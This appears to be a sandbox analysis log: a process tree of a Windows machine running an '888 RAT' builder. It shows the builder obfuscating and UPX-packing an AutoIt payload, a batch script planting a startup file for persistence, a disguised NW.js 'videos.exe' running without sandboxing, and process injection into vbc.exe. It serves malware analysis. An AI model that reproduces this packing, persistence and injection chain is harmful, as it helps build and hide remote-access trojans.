C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3936 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5476 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4896 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7288 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7692 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7064 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=173 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7468 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=174 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6500 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=175 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7668 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=176 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6696 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=177 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7892 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=178 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7260 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=179 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2876 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6268 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5780 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4660 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6780 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=184 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7164 /prefetch:12⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2f4 0x41c1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\elevation_service.exe"1⤵
- Drops file in Program Files directory
-
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe"C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe" --appguid={8A69D345-D564-463c-AFF1-A69D9E530F96} --browser-version=89.0.4389.114 --sessionid={5126dc5f-03a9-4b26-9d63-b1977176eb35} --system2⤵
- Executes dropped EXE
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\Desktop\888 RAT Private\888 RAT Private .exe"C:\Users\Admin\Desktop\888 RAT Private\888 RAT Private .exe"1⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\flagx.exe"C:\Users\Admin\AppData\Local\Temp\flagx.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Obfuscator.exe Server.au32⤵
-
C:\Users\Admin\AppData\Local\Temp\Obfuscator.exeObfuscator.exe Server.au33⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Aut2exe.exeC:\Users\Admin\AppData\Local\Temp\Aut2exe.exe /in C:\Users\Admin\AppData\Local\Temp/Server.au3 /out C:\Users\Admin\AppData\Local\Temp/UUFVWP.exe /icon C:\Users\Admin\AppData\Local\Temp\ssc.ico /comp 2 /pack /Unicode2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\upx.exe"C:\Users\Admin\AppData\Local\Temp\upx.exe" --best --compress-icons=0 "C:\Users\Admin\AppData\Local\Temp\UUFVWP.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"C:\Users\Admin\Desktop\888 RAT Private\UUFVWP.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""E:\properties.bat" "1⤵
- Enumerates connected drives
-
C:\Windows\system32\tar.exetar -xvf "files.zip" -C "C:\Users\Admin\AppData\Roaming"2⤵
-
C:\Windows\system32\cscript.execscript //B //E:vbscript data.ini "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" "C:\Users\Admin\AppData\Roaming\" videos "S0uve3"2⤵
- Drops startup file
- Enumerates connected drives
-
C:\Users\Admin\AppData\Roaming\videos\videos.exevideos.exe "DrUCN"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""E:\properties.bat" "1⤵
- Enumerates connected drives
-
C:\Windows\system32\tar.exetar -xvf "files.zip" -C "C:\Users\Admin\AppData\Roaming"2⤵
-
C:\Windows\system32\cscript.execscript //B //E:vbscript data.ini "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" "C:\Users\Admin\AppData\Roaming\" videos "S0uve3"2⤵
- Drops startup file
- Enumerates connected drives
-
C:\Users\Admin\AppData\Roaming\videos\videos.exevideos.exe "DrUCN"2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ffbaf2fecc8,0x7ffbaf2fecd8,0x7ffbaf2fece83⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:23⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2000 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:83⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=2164 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:83⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --nwjs --extension-process --display-capture-permissions-policy-allowed --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\videos\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2948 --field-trial-handle=1920,i,14523532994720104055,6688029321579807086,131072 /prefetch:13⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ffbb03cecc8,0x7ffbb03cecd8,0x7ffbb03cece82⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x178,0x17c,0x180,0x14c,0x188,0x7ff69de0ef08,0x7ff69de0ef18,0x7ff69de0ef283⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=64 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=2136 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2076 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --nwjs --extension-process --display-capture-permissions-policy-allowed --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\videos\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=3188 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:12⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=3648 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=3820 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=516 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --mojo-platform-channel-handle=3844 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2228 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:22⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2284 --field-trial-handle=1860,i,7601884515375471089,1826307995201265714,131072 /prefetch:82⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x220,0x224,0x228,0xc0,0x22c,0x7ffbb03cecc8,0x7ffbb03cecd8,0x7ffbb03cece82⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1824 --field-trial-handle=1952,i,15446318293181689136,7585244325571488985,131072 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=2024 --field-trial-handle=1952,i,15446318293181689136,7585244325571488985,131072 /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6076 -s 2722⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 6076 -ip 60761⤵
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe"1⤵
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Roaming\videos\videos.exeC:\Users\Admin\AppData\Roaming\videos\videos.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Videos\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Videos\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Videos\User Data" --annotation=plat=Win64 --annotation=prod=Videos --annotation=ver=1.0 --initial-client-data=0x220,0x224,0x228,0x1f4,0x22c,0x7ffbb03cecc8,0x7ffbb03cecd8,0x7ffbb03cece82⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=1812,i,14748458452921672405,14494028064437204837,131072 /prefetch:22⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\videos.exe"C:\Users\Admin\AppData\Roaming\videos\videos.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\Admin\AppData\Local\Videos\User Data" --nwapp-path="C:\Users\Admin\AppData\Roaming\videos" --start-stack-profiler --mojo-platform-channel-handle=1964 --field-trial-handle=1812,i,14748458452921672405,14494028064437204837,131072 /prefetch:82⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"C:\Users\Admin\AppData\Roaming\videos\notification_helper.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 1362⤵
- Program crash
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 1362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1456 -ip 14561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4148 -ip 41481⤵
-
C:\Users\Admin\Desktop\888Rat\Stub\Stub.exe"C:\Users\Admin\Desktop\888Rat\Stub\Stub.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
-
